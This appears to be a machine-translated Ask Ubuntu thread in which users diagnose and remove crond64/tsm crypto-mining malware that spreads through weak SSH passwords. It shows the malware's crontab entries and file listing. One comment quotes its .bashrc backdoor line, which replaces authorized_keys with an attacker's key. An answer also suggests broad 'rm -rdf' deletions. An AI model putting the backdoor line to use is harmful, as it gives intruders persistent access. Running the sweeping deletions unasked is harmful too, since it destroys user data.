вірус crond64 / tsm в Ubuntu


14

Нещодавно я помітив, що мій домашній сервер болісно повільний. Усі ресурси були з'їдені двома процесами: crond64і tsm. Незважаючи на те, що я їх неодноразово вбивав, вони постійно і знову з'являлися.

У той же час мій провайдер повідомляв мене про зловживання, пов’язане з моєю IP-адресою:

==================== Excerpt from log for 178.22.105.xxx====================
Note: Local timezone is +0100 (CET)
Jan 28 20:55:44 shared06 sshd[26722]: Invalid user admin from 178.22.105.xxx
Jan 28 20:55:44 shared06 sshd[26722]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.22.105.xxx
Jan 28 20:55:45 shared06 sshd[26722]: Failed password for invalid user admin from 178.22.105.xxx port 33532 ssh2
Jan 28 20:55:46 shared06 sshd[26722]: Received disconnect from 178.22.105.xxx port 33532:11: Bye Bye [preauth]
Jan 28 20:55:46 shared06 sshd[26722]: Disconnected from 178.22.105.xxx port 33532 [preauth]
Jan 28 21:12:05 shared06 sshd[30920]: Invalid user odm from 178.22.105.xxx
Jan 28 21:12:05 shared06 sshd[30920]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.22.105.xxx
Jan 28 21:12:07 shared06 sshd[30920]: Failed password for invalid user odm from 178.22.105.xxx port 45114 ssh2
Jan 28 21:12:07 shared06 sshd[30920]: Received disconnect from 178.22.105.xxx port 45114:11: Bye Bye [preauth]
Jan 28 21:12:07 shared06 sshd[30920]: Disconnected from 178.22.105.xxx port 45114 [preauth]

Я був нахилений на на цьому сайті , що я міг би бути вірус. Я запускаю Sophos AV, скануючи весь мій жорсткий диск, і він дійсно знайшов якийсь вірус /tmp/.mountfs/.rsync. Тому я видалив всю папку і подумав, що це все. Але згодом вона поверталася. Потім я перевірив файл cron користувача в /var/spool/cron/crontabs/kodi(вірус працював з користувачем мого медіа-сервера kodi), який виглядав так:

# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (cron.d installed on Sun Feb  3 21:52:03 2019)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* */12 * * * /home/kodi/.ttp/a/upd>/dev/null 2>&1
@reboot /home/kodi/.ttp/a/upd>/dev/null 2>&1
5 8 * * 0 /home/kodi/.ttp/b/sync>/dev/null 2>&1
@reboot /home/kodi/.ttp/b/sync>/dev/null 2>&1
#5 1 * * * /tmp/.mountfs/.rsync/c/aptitude>/dev/null 2>&1

Схоже, вірус повторно реактивується з іншого каталогу з іншого каталогу. Вміст цього каталогу:

>>> ls /home/kodi/.ttp/*
/home/kodi/.ttp/cron.d  /home/kodi/.ttp/dir2.dir

/home/kodi/.ttp/a:
a  bash.pid  config.txt  crond32  crond64  cronda  crondb  dir.dir  pools.txt  run  stop  upd

/home/kodi/.ttp/b:
a  dir.dir  rsync  run  stop  sync

/home/kodi/.ttp/c:
aptitude  dir.dir  go  ip  lib  n  p  run  slow  start  stop  tsm  tsm32  tsm64  v  watchdog

Я видалив усі ці файли та записи в crontab і сподіваюся, що з цим проблема вирішена. Однак мені було б цікаво, що це за вірус, як я, можливо, його зловив (він може бути пов'язаний з Kodi) і що я можу зробити, щоб його запобігти. На щастя, він працював лише від користувача з обмеженими правами, але це все-таки було прикро.


EDIT

Хоча я, здавалося б, видалив усі залишки цього вірусу (я також видалив всю папку tmp), вірус продовжував повертатися. Я зрозумів, що там є запис ~/.ssh/authorized_hosts, якого я точно не ставив. Це пояснює, як вірус можна було повторно пересаджувати. Я видалив запис, вимкнено вхід для цього користувача, вимкнено вхід пароля (лише пароль) і зараз використовую нестандартний порт.

Я також помітив неодноразові спроби входу на свій сервер із випадковими іменами користувачів, ймовірно, через якийсь бот (журнал виглядав приголомшливо подібним до того, який запускався з мого IP, надісланого мені провайдером). Я думаю, що саме так мій комп'ютер заразився в першу чергу.


4
Майте на увазі, що якщо вас вже зламали вже один раз, швидше за все, є інші речі на диску, які заражені або порушені. Вам, мабуть, варто підірвати систему та відновити її. Віруси дуже рідко вражають лише одну програму і зазвичай поширюються по диску.
Thomas Ward

Я згоден! якщо хтось потрапив у вашу систему, витріть її та відновіть резервну копію системи
Rinzwind

Звичайно, це було б рішенням економії. Але я просто перевстановив цю систему і не хотів її перевстановити, не розуміючи, що сталося. Перезаписувавши файли, це могло би початися заново, і я просто витратив би свій час.
Ерік

Ймовірно, ваша система була порушена, отже, як вірус продовжує заражатися. Я би занурив цю систему і почав із нового.
Thomas Ward

1
Я також виявив інфекцію в файл .bashrc користувача: cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB... ...VKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod 700 .ssh && cd .ssh && chmod 600 authorized_keys && cd ~. Я просто зробив це, cp /etc/skel/.bashrc /home/mycompromiseduser/щоб видалити його.
letsjump

Відповіді:


6

У мене було те саме. Сервіс встановив rsync та отримав кілька файлів. Я знайшов dota.tar.gzфайл у папці користувача.

  1. заборонити порт 22, вихідний в брандмауері (наприклад ufw deny out 22)
  2. pkill -KILL -u kodi (це вбиває всі запущені процеси користувача kodi)
  3. deluser kodi
  4. видалити додому користувача
  5. видалити rsync (я цього не використовував)
  6. видалити /tmp/.mountfs*

Зверніть увагу, це, мабуть, зіпсує речі для коді. Замість того, щоб видаляти весь будинок користувача, ви, ймовірно, можете видалити лише dota.tar.gz(якщо він є) та .ttpпапку (не забудьте очистити crontab!)

Після перезавантаження я більше не бачу вихідних з'єднань (перевірте:

netstat -peanut | grep 22

Зараження сталося через користувача зі слабким паролем (можливо, коді-акаунт із паролем за замовчуванням?)


1

У моєму випадку джерелом зараження був користувач, який не змінює свій небезпечний пароль від того, коли я створив його акаунт (я, звичайно, сказав йому). Мій сервер, певно, є в деяких списках: я отримую близько 1000 заборон на тиждень від fail2ban (спробуйте 4 рази з неправильним користувачем або паролем і блокуйте протягом місяця)


1

У мене була така ж зловмисна програма. Запис проводився через невідомий пароль користувача через ssh (порт, що не використовується за замовчуванням), його виявляли та видаляли приблизно через 24 години.

У моєму випадку, видалення кронтаб користувача, rm -rdf /tmp/.*, rm -rdf /home/user/.*, killall -u userбуло досить.


1

Була ця річ сьогодні. Я перевірив систему і виявив, що у моїй системі є свої сліди близько місяця, і я не зрозумів, що ця річ існувала, поки мій провайдер не повідомив мене.

Зловмисне програмне забезпечення потрапило через незахищеного користувача зі слабким паролем. У моєму випадку це був користувач timemachine. Журнал проникнення виглядав так.

98341:Dec 23 23:45:36 fileserver sshd[23179]: Accepted password for timemachine from 46.101.149.19 port 45573 ssh2

Це шахтар XMRIG і експлуатація, яка сканує інші IP-адреси на ті самі слабкі місця. Так, одна машина може каскадно-заразити десятки інших. Ви можете подивитися звіт MS про цю кібератаку .

Найефективніший захист від подібних атак - установка fail2banна вашому сервері, обмеження швидкості доступу до ssh ufwта використання білого списку ACL для систем, які можуть отримати доступ до SSH на вашому сервері.


0

Це моє рішення (також називається шкідливим програмним забезпеченням crypo mining):

  1. pkill завдання crontab
  2. очистіть будь-який опис цього завдання crontab, вказуючи на: /home/xxx/.ttp/a/upd>/dev/null 2> & 1
  3. видалити /tmp/.xxx/.rsync/c/aptitude>/dev/null 2> & 1
  4. найважливіше (для мене потрібен довгий шлях), інакше він продовжуватиме повертатися: запустіть crontab -e (для цього користувача) ви знайдете вище завдання crontab там, видаліть їх усі, збережіть.
  5. змінити номер порту.
Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.